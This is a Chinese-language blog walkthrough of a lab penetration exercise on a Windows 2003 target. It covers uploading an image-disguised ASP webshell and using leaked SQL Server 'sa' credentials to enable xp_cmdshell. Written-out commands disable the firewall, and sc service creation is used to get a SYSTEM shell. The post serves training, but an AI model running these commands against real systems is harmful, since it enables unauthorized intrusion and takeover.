給某個夥伴展示一次滲透提權

2022-10-01 21:00:16

某個正在學習安全夥伴告訴我,他老師給他一個靶機讓他提權,他不知道怎麼下手,讓我來試一下,那就試一下

 

 

 

知道網段ip沒開機密碼,他說這個靶機是這樣的。

固定ip是 192.168.3.5

是個win2003r2的系統

 

那就先把虛擬機器器設定一下

 

 

 

 

 

 

 

 

加一個192.168.3.0網段的網路

把第一個網路介面卡新增上VMnet2這個網路

 

 

 

 

 

 

 

 

 

然後在我的kali虛擬機器器上也新增VMnet2網路卡

開機ifconfig看看

 

 

 

新增上了

然後ping一下看能不能ping通

 

 

 

 能通

 

用nmap簡單掃下服務和埠

好多開放埠

有23埠但是沒密碼

有445埠用msf搞了一波似乎不行,可能打了修補程式

 

 

 

 

 

 

 

上面有好幾個站點, 隨便選一個預設密碼就進後臺了

 

 

 

 

 

 

 

剩下直接拿shell行了

直接傳一張圖片馬,他後臺有個檔案改名

 

 

 

 

 

 

 

 

通過抓包把檔案型別改了,改成圖片裡面一句話馬的執行型別,這個站是asp站,我傳的是asp馬,所以改的也是asp

ok

 

連結了上來

 

 

 

 

 

提權

嘗試通過mssql資料庫提權方法

在裡面的程式碼檔案找出資料庫賬號密碼

 

 

 

 

賬號:sa

密碼:admin

看能不能連結

連上了

 

 

 

用 exec xp_cmdshell 執行命令

 

exec sp_configure 'show advanced options',1;

RECONFIGURE;

exec sp_configure 'xp_cmdshell',1;

RECONFIGURE;

 

 

 

 

 

 

 

 

exec xp_cmdshell 'netsh advfirewall set allprofiles state off';

關閉防火牆

exec xp_cmdshell 'net user';

檢視使用者

 

 

 

 

 

 

 

 

把賬戶密碼改了

 

 

 

 

 

 

 

 

 

 

 

這下能登入進去了

 

 

 

 

只是administration許可權,我需要最高的system許可權

 

 

 

 

用SC提權方法

sc提權只適合老系統,xp win7 2003這些,其他系統有其他方法

sc Create sys binPath="cmd / c start" type= own type= interact

sc start sys

雖然提示失敗1053 但是最高許可權system視窗彈出來了